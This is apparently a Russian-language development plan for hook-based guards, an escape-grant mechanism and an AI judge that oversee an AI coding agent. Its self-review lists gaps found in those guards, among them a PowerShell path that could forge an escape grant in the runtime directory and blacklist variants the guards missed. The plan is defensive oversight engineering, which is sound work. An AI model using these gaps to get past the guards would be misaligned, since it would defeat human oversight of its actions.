**Спека:** §4.1 правило 7(б,в) + §6 escape-honor. **Файлы:** `enforce-floor.mjs`/`enforce-supreme-gate.mjs` (panic-ветка: escape оценивается до любой бросающей логики — уже почти так в supreme-gate G-1α, проверить ordering), `enforce-read-path-deny.mjs` + `enforce-mcp-classification.mjs` + `enforce-normative-content-rules.mjs` (+чтение escape-гранта `escapeGrantOpen` перед block). **Acceptance:** тест «страж бросает на входе → escape всё равно оценён → escaped-действие проходит»; «escaped-правка ЗАКОНА через normative-content-rules проходит». **Риск:** escape-honor не должен ослаблять стражей для не-escaped действий.

### Фаза 3 — skill-журналер + seed-allow реактивных навыков (SE-K)
**Спека:** §4.2 + §12. **Файлы:** Create `tools/enforce-skill-journaler.mjs` (PostToolUse на Skill → `journalAppend` op=Skill, object=skill-name, независимо от плана), Modify `enforce-supreme-gate.mjs::SEED_SKILLS` (+`systematic-debugging`/`test-driven-development`/`requesting-code-review`/`verification-before-completion`). **Acceptance:** тест «seed/ad-hoc Skill-вызов → в action-journal → `skillTakenByJournal` его видит». **Риск:** не задвоить запись (если стена тоже журналит plan-step Skill — дедуп по seq/ts).

### Фаза 4 — поглощение поведенческой дисциплины в М4
**Спека:** §4.2 таблица (строки coverage/todowrite/decomposition/rationalization/self-debrief/plan/verify). **Файлы:** `judge-gate-floor.mjs` (journal-K2 уже есть `skillTakenByJournal`; добить Гейт-2 план-требование + Гейт-3 verify-привязка), `judge-orchestrator.mjs` (D31 пост-оценщик + halt-counter), новые PreToolUse-обёртки для Pre-дисциплины (todowrite/plan/действие-в-плане), Stop-обёртки для Stop-дисциплины (decomposition/rationalization). **Acceptance:** per-строка §4.2 — тест что дисциплина ловится журнал-фактом, не текстом; `[Pre]` строго PreToolUse. **Риск:** самый большой объём; разнести на под-фазы 4a (Pre) / 4b (Stop) / 4c (Гейты).

### Фаза 5 — normative-канал КАРТА/ЗАКОН + build-loop (SE-D)
**Спека:** §6. **Файлы:** Create `tools/normative-classifier.mjs` (детерминированный КАРТА/ЗАКОН по пути+содержимому; build-loop-различитель через `actionMatchesStep` против замороженного плана), интеграция в `enforce-normative-content-rules.mjs` (ЗАКОН без плана-покрытия → требовать escape). **Acceptance:** тест «правка enforce-*.mjs под план-шагом → КАРТА (не escape)»; «ad-hoc правка enforce-*.mjs → ЗАКОН (escape)»; «правка Pravila → ЗАКОН». **Риск:** граница содержимого (секция правил в произвольном файле) — консервативно: сомнение → ЗАКОН.

### Фаза 6 — доска + манифест (SE-B)
**Спека:** §7. **Файлы:** `floor-manifest-check.mjs::DEFAULT_REQUIRED_HOOKS` (+`enforce-judge-gate`/`enforce-snapshot`/`enforce-floor-escape-consume`/`enforce-skill-journaler`), `status-md-generator` / observer (секция «кто на посту» + режим судьи inert/shadow/live-block). **Acceptance:** тест «снят М4/М6-хук → манифест cry»; «доска показывает режим судьи». **Риск:** доска read-only, не блокирует.

### Фаза 7 — ИИ-проводка судьи М4 (§8)
**Спека:** §8. **Файлы:** `enforce-judge-gate.mjs` (live main вместо инертного, гейт флаг+ключ), `judge-key-config.mjs` (OS-keychain). **Шаг владельца:** env-флаг + ключ + регистрация. **Acceptance:** при выкл — $0 (тест decide inactive→block:false); при вкл-shadow — логирует не блокирует; live-block отдельным шагом. **Риск:** over-block (урок L4) — D28 тихий период рекомендован.

### Фаза 8 — карты покрытия §5 + тест-гейт §9.2 + увольнения §10 + ПЕРЕЕЗД §9.3
**Спека:** §5/§9/§10. **Действия:** построить per-страж карты покрытия (артефакты-доказательства); прогнать тест-гейт §9.2 (регрессия ≥ baseline + per-machine smokes + интеграционные: escape сквозной / манифест кричит / закон требует ключ / журнал-факт не обходится текстом); **владелец** атомарно регистрирует М1–М6 + снимает зоопарк в settings.json; откат §9.4 наготове. **Acceptance:** все пункты тест-гейта зелёные ПО КАЖДОМУ — иначе переезд не делаем. **Риск:** big-bang (принят владельцем) — митигация тест-гейт + откат + опц. тихий период.

---

## Self-Review (по чеклисту writing-plans)

**1. Spec coverage:** §1 промис → Фазы 1/2/7 (П1/П2/П3) ✓; §4.1 правила 1-8 → Фазы 0(1,7)/1(8)/2(7)/3-4(2-6) ✓; §4.2 таблица → Фаза 4 ✓; §5 карты → Фаза 8 ✓; §6 normative → Фаза 5 ✓; §7 доска → Фаза 6 ✓; §8 судья → Фаза 7 ✓; §9 переезд → Фаза 8 ✓; §10 увольнения → Фаза 8 (после Фазы 1) ✓; §12 инвентарь → распределён по фазам ✓; §13 closures → V1 Фаза1 / SE-I+L6 Фаза2 / SE-C+SE-K Фаза3-4 / SE-D Фаза5 / SE-A Фаза4 / SE-B Фаза6 ✓.

**2. Placeholder scan:** Фаза 1 — полный код в каждом шаге, без TBD ✓. Фазы 0,2-8 — осознанно scoped (scope-check скила: per-subsystem планы), не placeholder, а явная декомпозиция; каждая разворачивается в bite-sized при подходе.

**3. Type consistency:** `classifyDestructive(cmd) → {floor, suspicious, contentBlock, reason}` (1.1) используется в `floor-decide` (1.3) консистентно; `matchBashHardBlacklist(cmd) → reason|null` (1.0.5) единый матчер для `contentBlock` (1.1) и `bashIsContentBlock` (1.3); `psContentBlock(cmd)→bool` + `psProtectedWrite(cmd)→bool` (1.2/1.4) в floor-decide PowerShell-ветке; `canonicalAction(name,input)` теперь обрабатывает PowerShell (1.2b) → идентичный ключ в escape-grant, floor-decide, supreme-gate, consume. ✓

**Известное допущение для исполнителя (обновлено разбором плана 2026-06-08):** content-block — **НЕ ручной порт**, а переиспользование `matchBashHardBlacklist`, перенесённого в `shell-content-rules.mjs` (Task 1.0.5) как постоянный дом (P-1/S1). При увольнении router-gate (Фаза 8) дом не меняется — router-gate уже импортирует оттуда. §12 content-floor инвариант (Task 1.6) доказывает полноту порта по конструкции (итерация по списку).

**4. Поправки разбора плана (2026-06-08) — трассировка:** независимый критический разбор плана (цепочка `audit-context-building` → `sharp-edges` → `variant-analysis` → `superpowers:systematic-debugging`, заземление против реального кода М1–М6) нашёл 8 находок. Закрыты в этом плане:
- **P-1 (КРИТ)** «полный порт» был подмножеством `BASH_HARD_BLACKLIST` (терял #21 env-prefix / #22 --watch / #34 echo-inj / C16 `2>file` / cp/mv/chmod/chown/chgrp) → Task 1.0.5 единый источник + Task 1.1 + §12-инвариант.
- **P-2 (КРИТ)** `canonicalAction` без ветки PowerShell → все PS-команды = `write:` → escape неспецифичен (один грант открывает все PS), тест 1.5 зелёный ложно → Task 1.2b + escape-специфичность 1.5.
- **P-3 (ВЫС)** PS-ветка пола проскакивала runtime/secret-страж (`Set-Content ~/.claude/runtime/...` = forge escape-гранта) → forge-страж в Task 1.4.
- **P-4 (СРЕД)** content-block был whole-string без паритета с `bashIsFloor` → `bashIsContentBlock` whole+per-segment (Task 1.3).
- **P-5 (СРЕД)** `suspicious` не видел content-опасное (судья М4 слеп) → `suspicious ||= contentBlock` (Task 1.1).
- **P-6 (СРЕД)** §12 CI-инварианты бесхозны → закреплены за фазами (правило перехода).
- **P-7 (НИЗ)** «дисциплинарное подмножество» Фазы 0 без списка → явный перечень (Фаза 0).
- **P-8 (НИЗ)** план = детальная Фаза 1 + скелет — честная декомпозиция; scoped-фазы 0,2-8 разворачиваются через `writing-plans`, не теряя пунктов спеки (см. P-6).
